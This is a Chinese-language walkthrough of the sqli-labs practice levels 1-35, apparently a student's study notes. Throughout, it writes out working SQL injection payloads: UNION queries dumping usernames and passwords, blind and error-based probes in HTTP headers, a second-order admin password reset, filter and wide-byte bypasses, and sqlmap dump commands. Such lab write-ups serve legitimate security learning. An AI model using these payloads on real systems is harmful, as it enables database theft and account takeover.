sqli-lab关卡记录

sqli-lab通常都是1-2关为相同的知识点,然后细节处不同。到这里1-35关基本都阐述完毕。接下来的关卡后续会补上。

目录

    • Less-1
    • Less2~4
    • Less5、6
    • Less8
    • Less9-10
    • Less 11-12
    • Less13-17
    • Less18-20
    • Less21-22
    • Less24
    • Less25-26
    • Less29-31
    • Less32-33
    • Less34
    • Less35
    • 小结:

Less-1

sqli-lab关卡记录_第1张图片通过‘‘1’’LIMIT 0,1’ 立即推理,‘1’‘LIMIT 0,1 分析格式为select from…where id=’?’ 加注释–+,验证成功
sqli-lab关卡记录_第2张图片
判断字段数为3
sqli-lab关卡记录_第3张图片直接爆库

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

`
sqli-lab关卡记录_第4张图片

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

sqli-lab关卡记录_第5张图片


```sql
0' union select 1,group_concat(username,0x3a,password),3 from users--+

sqli-lab关卡记录_第6张图片

Less2~4

爆库不说了,直接分析注入点
Less2
sqli-lab关卡记录_第7张图片'‘LIMIT 0,1’ 去掉闭合 'LIMIT 0,1 分析格式为select from…where id=?

Less3

sqli-lab关卡记录_第8张图片‘‘1’’)LIMIT 0,1’ 去掉闭合 ‘1’’)LIMIT 0,1 分析格式为select from…where id=(’?’)

验证成功
sqli-lab关卡记录_第9张图片
Less4
输入单引号无报错,输入/报错
sqli-lab关卡记录_第10张图片
与Less3的区别只是单引号与双引号的区别,不再赘述。

Less5、6

sqli-lab关卡记录_第11张图片立即推布尔型或时间型或报错型
时间型:正确会延迟

id=1' and if(length(database())=8,sleep(5),1)--+

明显延迟
sqli-lab关卡记录_第12张图片验证成功,这种手工极麻烦,直接上sqlmap比较明智
Less6把Less5的单引号改成双引号即可

Less8

换一下布尔型(本题时间型一样可做):正确会回显,错误无回显
sqli-lab关卡记录_第13张图片判断库名长度

?id=1' and length(database())=8--+

sqli-lab关卡记录_第14张图片判断库名

?id=1' and left((select database()),1)='s'--+

sqli-lab关卡记录_第15张图片
最后得到库名?id=1’ and left((select database()),8)=‘security’–+
。。。还是直接sqlmap吧,流水线操作。

Less9-10

看了下题目,还是时间型。。和第5题一样
直接sqlmap

Less 11-12

POST
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。这里借助Burpsuite完成修改任务。

注:这里网址要从127.0.0.1改为你本机IP地址,不然Burpsuite可能截取不到数据包。
sqli-lab关卡记录_第16张图片截取http数据包
sqli-lab关卡记录_第17张图片加’查看注入点变化
sqli-lab关卡记录_第18张图片 可以看出 ‘‘123456’’ LIMIT 0,1’
接下来直接加上 ‘‘123456’’ or 1 = 1 --+ LIMIT 0,1’
成功获得用户名与密码
sqli-lab关卡记录_第19张图片
接下来直接走sqlmap,复制Burpsuite截断的HTTP请求数据包到文本文件中。
sqli-lab关卡记录_第20张图片python sqlmap.py -r less11.txt -p passwd --technique E
-r 文件路径 -p 指定探测参数
sqli-lab关卡记录_第21张图片python sqlmap.py -r less11.txt -p passwd --technique E --current-db
查看当前使用的数据库,得知为security
sqli-lab关卡记录_第22张图片python sqlmap.py -r less11.txt -p passwd --technique E -D security --tables
sqli-lab关卡记录_第23张图片python sqlmap.py -r less11.txt -p passwd --technique E -D security -T users --columns
sqli-lab关卡记录_第24张图片python sqlmap.py -r less11.txt -p passwd --technique E -D security -T users -C "username,password" --dump
sqli-lab关卡记录_第25张图片
Less12把Less11的单引号改成双引号即可,这里不再赘述。

Less13-17

方法同上,前面几关的整合,直接burpsuite + sqlmap爆破

Less18-20

HTTP头中的SQL注入。
现在很多网站都在防止SQL注入,用户提交的参数都会被过滤。
但是对于HTTP头中,提交的内容很有可能就没有进行过滤。
例如HTTP头中 User-Agent、Referer、Cookies等。

首先进行User-Agent注入。

sqli-lab关卡记录_第26张图片burpsuite抓包,并对User-Agent加入’进行测试

sqli-lab关卡记录_第27张图片sqli-lab关卡记录_第28张图片
开始爆破
插入语句

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

sqli-lab关卡记录_第29张图片接下来的步骤和之前的报错型注入一摸一样。

接下来进行Less-19的Referer注入。
sqli-lab关卡记录_第30张图片'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

sqli-lab关卡记录_第31张图片
用sqlmap
复制Burpsuite截断的HTTP请求数据包到文本文件中,把referer参数修改为*
在这里插入图片描述python sqlmap.py -r less19.txt
sqli-lab关卡记录_第32张图片接下来进行Less-20的cookie注入
sqli-lab关卡记录_第33张图片

sqli-lab关卡记录_第34张图片
sqli-lab关卡记录_第35张图片' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
sqli-lab关卡记录_第36张图片走sqlmap也与上述一样
在cookie处加上*
sqli-lab关卡记录_第37张图片python sqlmap.py -r less20.txt --level 3 --batch
sqli-lab关卡记录_第38张图片

Less21-22

Less21与22只是单引号与双引号的区别
这里以Less22为例
这里网站对cookie字符串进行了base64加密
sqli-lab关卡记录_第39张图片
sqli-lab关卡记录_第40张图片输入反斜杠探测
sqli-lab关卡记录_第41张图片sqli-lab关卡记录_第42张图片
直接走sqlmap

sqli-lab关卡记录_第43张图片python sqlmap.py -r less22.txt --level 3 --batch --tamper base64encode.py
sqli-lab关卡记录_第44张图片

Less24

二次注入
分析网站源代码,可知没有对username进行# 的过滤
sqli-lab关卡记录_第45张图片
sqli-lab关卡记录_第46张图片注册一个admin’#账号
sqli-lab关卡记录_第47张图片登录admin’#,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd=“pass” where username =’ admin’ # ’ and password=’
也就是执行了UPDATE users SET passwd=“Pass” where username =’ admin’
sqli-lab关卡记录_第48张图片
用修改的密码123456,成功登录admin
sqli-lab关卡记录_第49张图片

Less25-26

Less25讲的是绕过过滤and和or的SQL注入
主要有两种方法
1、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
2、利用符号替代————and --&& or–||
也可以直接走sqlmap,这里不再赘述。

Less26讲的是绕过过滤空格的SQL注入
方法:主要通过HEX编码来绕过。
编码:hex,urlencode 换行URL编码 %0a %09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)
sqli-lab关卡记录_第50张图片
也可以直接走sqlmap。
sqli-lab关卡记录_第51张图片

Less29-31

sqli-lab关卡记录_第52张图片继续尝试

sqli-lab关卡记录_第53张图片???
这就是The Site Protected by World’s Best Firewall?
Less 30 31基本一致,也就双引号和括号的区别,不再赘述。

Less32-33

宽字节SQL注入
GBK 占用两字节,ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I\'m hacker
本意想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:

%DF’ :会被PHP当中的addslashes函数转义为“%DF’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,**MYSQL使用的编码也是GBK的话,就会认为%DF’ 即“%DF%5C%27”是一个宽字符。也就是“縗’”

sqli-lab关卡记录_第54张图片

/?id=1%df' --+

sqli-lab关卡记录_第55张图片/?id=-1%df' union select 1,2,3 --+
sqli-lab关卡记录_第56张图片走sqlmap

sqlmap -u “URL?id=1%df%27--search --level 3 --risk 1 --thread 10 

sqli-lab关卡记录_第57张图片

Less34

POST型,用burpsuite抓包
而且通过代码也知道这一关也使用了addslashes()函数,所以依旧使用宽字节注入测试。
判断字段数为2
sqli-lab关卡记录_第58张图片admin%df' union select version(),database()--
sqli-lab关卡记录_第59张图片

Less35

sqli-lab关卡记录_第60张图片???没有引号
直接注入
sqli-lab关卡记录_第61张图片

小结:

get方式会通过url传送表单数据,这是一种显式的数据传输。
而对于post而言,表单数据会通过http协议的header来传送表单数据,
而且支持的数据传输长度也要多,直观的感受就是浏览的url不会变化。
从安全性上来说,post方式也要好很多。

SQL注入原理:
解释型语言的特性,在运行时由一个组件解释代码并执行,给了程序与用户交互的机会,
用户可以构造恶意代码来拼接到程序中执行。

手工注入:
1.显错注入
-普通显错注入
-各种过滤
-过滤union、select、and、or。(双写绕过,符号替代等)
-过滤空格。(HEX编码等)
-宽字节注入(addslashes()会在单引号前加一个\ 以此阻止sql注入语句闭合,可以使用宽字节绕过)
2.盲注:布尔型、时间型、报错型
3.POST型配合Burpsuite改包。
4.HTTP头中的SQL注入( User-Agent、Referer、Cookies等),可能存在加密。

自动化工具:
-sqlmap、Burpsuite
-web漏扫:OWASP-ZAP
-代码审计:Seay

记录本文一来作为自己学习sql注入的输出,二来作为笔记,三来也希望能给玩sqli-lab的同学一个小小参考,能给到或多或少的帮助。

你可能感兴趣的:(sqli-lab关卡记录)